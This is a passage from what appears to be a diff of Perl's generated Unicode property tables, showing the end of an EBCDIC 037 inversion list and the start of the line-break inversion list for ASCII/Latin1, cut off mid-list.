0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - IVCF_use_AUX_TABLE_26, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - 0, - 0xDF, - 0, - 0x1EA0, - 0, - 0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - 0x1F59, - 0, - 0x1F5B, - 0, - 0x1F5D, - 0, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - 0x1F88, - 0x1F80, - 0x1F98, - 0x1F90, - 0x1FA8, - 0x1FA0, - 0x1FB8, - 0, - 0x1FBC, - 0, - 0x1FB3, - 0, - 0x1FCC, - 0, - 0x1FC3, - 0, - 0x1FD8, - 0, - 0x390, - 0, - 0x1FE8, - 0, - 0x3B0, - 0, - 0x1FEC, - 0, - 0x1FFC, - 0, - 0x1FF3, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - IVCF_use_AUX_TABLE_27, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0xFB06, - 0xFB05, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV _Perl_LB_invlist[] = { /* for ASCII/Latin1 */ - 2313, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xA, - 0xB, - 0xD, - 0xE, - 0x20, - 0x21, - 0x22, - 0x23, - 0x24, - 0x25, - 0x26, - 0x27, - 0x28, - 0x29, - 0x2A, - 0x2B, - 0x2C, - 0x2D, - 0x2E, - 0x2F, - 0x30, - 0x3A, - 0x3C, - 0x3F, - 0x40, - 0x5B, - 0x5C, - 0x5D, - 0x5E, - 0x7B, - 0x7C, - 0x7D, - 0x7E, - 0x7F, - 0x85, - 0x86, - 0xA0, - 0xA1, - 0xA2, - 0xA3, - 0xA6, - 0xAB, - 0xAC, - 0xAD, - 0xAE, - 0xB0, - 0xB1, - 0xB2, - 0xB4, - 0xB5, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2DF, - 0x2E0, - 0x300, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0x370, - 0x37E, - 0x37F, - 0x483, - 0x48A, - 0x589, - 0x58A, - 0x58B, - 0x58F, - 0x590, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x609, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x61E, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F8, - 0x7F9, - 0x7FA, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0x9FB, - 0x9FC, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xBF9, - 0xBFA, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD79, - 0xD7A, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE3F, - 0xE40, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xF01, - 0xF05, - 0xF06, - 0xF08, - 0xF09, - 0xF0B, - 0xF0C, - 0xF0D, - 0xF12, - 0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFC0, - 0xFC6, - 0xFC7, - 0xFD0, - 0xFD2, - 0xFD3, - 0xFD4, - 0xFD9, - 0xFDB, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x104C, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x1100, - 0x1160, - 0x11A8, - 0x1200, - 0x135D, - 0x1360, - 0x1361, - 0x1362, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x169C, - 0x169D, - 0x16EB, - 0x16EE, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1737, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17D6, - 0x17D7, - 0x17D8, - 0x17D9, - 0x17DA, - 0x17DB, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1802, - 0x1804, - 0x1806, - 0x1807, - 0x1808, - 0x180A, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1944, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B50, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1C3B, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FFD, - 0x1FFE, - 0x2000, - 0x2007, - 0x2008, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2011, - 0x2012, - 0x2014, - 0x2015, - 0x2018, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2020, - 0x2024, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x2038, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2044, - 0x2045, - 0x2046, - 0x2047, - 0x204A, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2060, - 0x2061, - 0x2066, - 0x2070, - 0x207D, - 0x207E, - 0x207F, - 0x208D, - 0x208E, - 0x208F, - 0x20A0, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x20D0, - 0x20F1, - 0x2103, - 0x2104, - 0x2109, - 0x210A, - 0x2116, - 0x2117, - 0x2212, - 0x2214, - 0x22EF, - 0x22F0, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x231A, - 0x231C, - 0x2329, - 0x232A, - 0x232B, - 0x23F0, - 0x23F4, - 0x2600, - 0x2604, - 0x2614, - 0x2616, - 0x2618, - 0x2619, - 0x261A, - 0x261D, - 0x261E, - 0x2620, - 0x2639, - 0x263C, - 0x2668, - 0x2669, - 0x267F, - 0x2680, - 0x26BD, - 0x26C9, - 0x26CD, - 0x26CE, - 0x26CF, - 0x26D2, - 0x26D3, - 0x26D5, - 0x26D8, - 0x26DA, - 0x26DC, - 0x26DD, - 0x26DF, - 0x26E2, - 0x26EA, - 0x26EB, - 0x26F1, - 0x26F6, - 0x26F7, - 0x26F9, - 0x26FA, - 0x26FB, - 0x26FD, - 0x2705, - 0x2708, - 0x270A, - 0x270E, - 0x275B, - 0x2761, - 0x2762, - 0x2764, - 0x2765, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C5, - 0x27C6, - 0x27C7, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FC, - 0x29FD, - 0x29FE, - 0x2CEF, - 0x2CF2, - 0x2CF9, - 0x2CFA, - 0x2CFD, - 0x2CFE, - 0x2CFF, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x2E0E, - 0x2E16, - 0x2E17, - 0x2E18, - 0x2E19, - 0x2E1A, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x2E2E, - 0x2E2F, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3A, - 0x2E3C, - 0x2E3F, - 0x2E40, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3003, - 0x3005, - 0x3006, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301D, - 0x301E, - 0x3020, - 0x302A, - 0x3030, - 0x3035, - 0x3036, - 0x303B, - 0x303D, - 0x3040, - 0x3041, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, - 0x3097, - 0x3099, - 0x309B, - 0x309F, - 0x30A0, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FF, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x32FF, - 0x3300, - 0x4DC0, - 0x4E00, - 0xA015, - 0xA016, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA60E, - 0xA60F, - 0xA610, - 0xA620, - 0xA62A, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA6F8, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA838, - 0xA839, - 0xA874, - 0xA876, - 0xA878, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8CE, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8FC, - 0xA8FD, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C7, - 0xA9CA, - 0xA9D0, - 0xA9DA, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5D, - 0xAA60, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xAC01, - 0xAC1C, - 0xAC1D, - 0xAC38, - 0xAC39, - 0xAC54, - 0xAC55, - 0xAC70, - 0xAC71, - 0xAC8C, - 0xAC8D, - 0xACA8, - 0xACA9, - 0xACC4, - 0xACC5, - 0xACE0, - 0xACE1, - 0xACFC, - 0xACFD, - 0xAD18, - 0xAD19, - 0xAD34, - 0xAD35, - 0xAD50, - 0xAD51, - 0xAD6C, - 0xAD6D, - 0xAD88, - 0xAD89, - 0xADA4, - 0xADA5, - 0xADC0, - 0xADC1, - 0xADDC, - 0xADDD, - 0xADF8, - 0xADF9, - 0xAE14, - 0xAE15, - 0xAE30, - 0xAE31, - 0xAE4C, - 0xAE4D, - 0xAE68, - 0xAE69, - 0xAE84, - 0xAE85, - 0xAEA0, - 0xAEA1, - 0xAEBC, - 0xAEBD, - 0xAED8, - 0xAED9, - 0xAEF4, - 0xAEF5, - 0xAF10, - 0xAF11, - 0xAF2C, - 0xAF2D, - 0xAF48, - 0xAF49, - 0xAF64, - 0xAF65, - 0xAF80, - 0xAF81, - 0xAF9C, - 0xAF9D, - 0xAFB8, - 0xAFB9, - 0xAFD4, - 0xAFD5, - 0xAFF0, - 0xAFF1, - 0xB00C, - 0xB00D, - 0xB028, - 0xB029, - 0xB044, - 0xB045, - 0xB060, - 0xB061, - 0xB07C, - 0xB07D, - 0xB098, - 0xB099, - 0xB0B4, - 0xB0B5, - 0xB0D0, - 0xB0D1, - 0xB0EC, - 0xB0ED, - 0xB108, - 0xB109, - 0xB124, - 0xB125, - 0xB140, - 0xB141, - 0xB15C, - 0xB15D, - 0xB178, - 0xB179, - 0xB194, - 0xB195, - 0xB1B0, - 0xB1B1, - 0xB1CC, - 0xB1CD, - 0xB1E8, - 0xB1E9, - 0xB204, - 0xB205, - 0xB220, - 0xB221, - 0xB23C, - 0xB23D, - 0xB258, - 0xB259, - 0xB274, - 0xB275, - 0xB290, - 0xB291, - 0xB2AC, - 0xB2AD, - 0xB2C8, - 0xB2C9, - 0xB2E4, - 0xB2E5, - 0xB300, - 0xB301, - 0xB31C, - 0xB31D, - 0xB338, - 0xB339, - 0xB354, - 0xB355, - 0xB370, - 0xB371, - 0xB38C, - 0xB38D, - 0xB3A8, - 0xB3A9, - 0xB3C4, - 0xB3C5, - 0xB3E0, - 0xB3E1, - 0xB3FC, - 0xB3FD, - 0xB418, - 0xB419, - 0xB434, - 0xB435, - 0xB450, - 0xB451, - 0xB46C, - 0xB46D, - 0xB488, - 0xB489, - 0xB4A4, - 0xB4A5, - 0xB4C0, - 0xB4C1, - 0xB4DC, - 0xB4DD, - 0xB4F8, - 0xB4F9, - 0xB514, - 0xB515, - 0xB530, - 0xB531, - 0xB54C, - 0xB54D, - 0xB568, - 0xB569, - 0xB584, - 0xB585, - 0xB5A0, - 0xB5A1, - 0xB5BC, - 0xB5BD, - 0xB5D8, - 0xB5D9, - 0xB5F4, - 0xB5F5, - 0xB610, - 0xB611, - 0xB62C, - 0xB62D, - 0xB648, - 0xB649, - 0xB664, - 0xB665, - 0xB680, - 0xB681, - 0xB69C, - 0xB69D, - 0xB6B8, - 0xB6B9, - 0xB6D4, - 0xB6D5, - 0xB6F0, - 0xB6F1, - 0xB70C, - 0xB70D, - 0xB728, - 0xB729, - 0xB744, - 0xB745, - 0xB760, - 0xB761, - 0xB77C, - 0xB77D, - 0xB798, - 0xB799, - 0xB7B4, - 0xB7B5, - 0xB7D0, - 0xB7D1, - 0xB7EC, - 0xB7ED, - 0xB808, - 0xB809, - 0xB824, - 0xB825, - 0xB840, - 0xB841, - 0xB85C, - 0xB85D, - 0xB878, - 0xB879, - 0xB894, - 0xB895, - 0xB8B0, - 0xB8B1, - 0xB8CC, - 0xB8CD, - 0xB8E8, - 0xB8E9, - 0xB904, - 0xB905, - 0xB920, - 0xB921, - 0xB93C, - 0xB93D, - 0xB958, - 0xB959, - 0xB974, - 0xB975, - 0xB990, - 0xB991, - 0xB9AC, - 0xB9AD, - 0xB9C8, - 0xB9C9, - 0xB9E4, - 0xB9E5, - 0xBA00, - 0xBA01, - 0xBA1C, - 0xBA1D, - 0xBA38, - 0xBA39, - 0xBA54, - 0xBA55, - 0xBA70, - 0xBA71, - 0xBA8C, - 0xBA8D, - 0xBAA8, - 0xBAA9, - 0xBAC4, - 0xBAC5, - 0xBAE0, - 0xBAE1, - 0xBAFC, - 0xBAFD, - 0xBB18, - 0xBB19, - 0xBB34, - 0xBB35, - 0xBB50, - 0xBB51, - 0xBB6C, - 0xBB6D, - 0xBB88, - 0xBB89, - 0xBBA4, - 0xBBA5, - 0xBBC0, - 0xBBC1, - 0xBBDC, - 0xBBDD, - 0xBBF8, - 0xBBF9, - 0xBC14, - 0xBC15, - 0xBC30, - 0xBC31, - 0xBC4C, - 0xBC4D, - 0xBC68, - 0xBC69, - 0xBC84, - 0xBC85, - 0xBCA0, - 0xBCA1, - 0xBCBC, - 0xBCBD, - 0xBCD8, - 0xBCD9, - 0xBCF4, - 0xBCF5, - 0xBD10, - 0xBD11, - 0xBD2C, - 0xBD2D, - 0xBD48, - 0xBD49, - 0xBD64, - 0xBD65, - 0xBD80, - 0xBD81, - 0xBD9C, - 0xBD9D, - 0xBDB8, - 0xBDB9, - 0xBDD4, - 0xBDD5, - 0xBDF0, - 0xBDF1, - 0xBE0C, - 0xBE0D, - 0xBE28, - 0xBE29, - 0xBE44, - 0xBE45, - 0xBE60, - 0xBE61, - 0xBE7C, - 0xBE7D, - 0xBE98, - 0xBE99, - 0xBEB4, - 0xBEB5, - 0xBED0, - 0xBED1, - 0xBEEC, - 0xBEED, - 0xBF08, - 0xBF09, - 0xBF24, - 0xBF25, - 0xBF40, - 0xBF41, - 0xBF5C, - 0xBF5D, - 0xBF78, - 0xBF79, - 0xBF94, - 0xBF95, - 0xBFB0, - 0xBFB1, - 0xBFCC, - 0xBFCD, - 0xBFE8, - 0xBFE9, - 0xC004, - 0xC005, - 0xC020, - 0xC021, - 0xC03C, - 0xC03D, - 0xC058, - 0xC059, - 0xC074, - 0xC075, - 0xC090, - 0xC091, - 0xC0AC, - 0xC0AD, - 0xC0C8, - 0xC0C9, - 0xC0E4, - 0xC0E5, - 0xC100, - 0xC101, - 0xC11C, - 0xC11D, - 0xC138, - 0xC139, - 0xC154, - 0xC155, - 0xC170, - 0xC171, - 0xC18C, - 0xC18D, - 0xC1A8, - 0xC1A9, - 0xC1C4, - 0xC1C5, - 0xC1E0, - 0xC1E1, - 0xC1FC, - 0xC1FD, - 0xC218, - 0xC219, - 0xC234, - 0xC235, - 0xC250, - 0xC251, - 0xC26C, - 0xC26D, - 0xC288, - 0xC289, - 0xC2A4, - 0xC2A5, - 0xC2C0, - 0xC2C1, - 0xC2DC, - 0xC2DD, - 0xC2F8, - 0xC2F9, - 0xC314, - 0xC315, - 0xC330, - 0xC331, - 0xC34C, - 0xC34D, - 0xC368, - 0xC369, - 0xC384, - 0xC385, - 0xC3A0, - 0xC3A1, - 0xC3BC, - 0xC3BD, - 0xC3D8, - 0xC3D9, - 0xC3F4, - 0xC3F5, - 0xC410, - 0xC411, - 0xC42C, - 0xC42D, - 0xC448, - 0xC449, - 0xC464, - 0xC465, - 0xC480, - 0xC481, - 0xC49C, - 0xC49D, - 0xC4B8, - 0xC4B9, - 0xC4D4, - 0xC4D5, - 0xC4F0, - 0xC4F1, - 0xC50C, - 0xC50D, - 0xC528, - 0xC529, - 0xC544, - 0xC545, - 0xC560, - 0xC561, - 0xC57C, - 0xC57D, - 0xC598, - 0xC599, - 0xC5B4, - 0xC5B5, - 0xC5D0, - 0xC5D1, - 0xC5EC, - 0xC5ED, - 0xC608, - 0xC609, - 0xC624, - 0xC625, - 0xC640, - 0xC641, - 0xC65C, - 0xC65D, - 0xC678, - 0xC679, - 0xC694, - 0xC695, - 0xC6B0, - 0xC6B1, - 0xC6CC, - 0xC6CD, - 0xC6E8, - 0xC6E9, - 0xC704, - 0xC705, - 0xC720, - 0xC721, - 0xC73C, - 0xC73D, - 0xC758, - 0xC759, - 0xC774, - 0xC775, - 0xC790, - 0xC791, - 0xC7AC, - 0xC7AD, - 0xC7C8, - 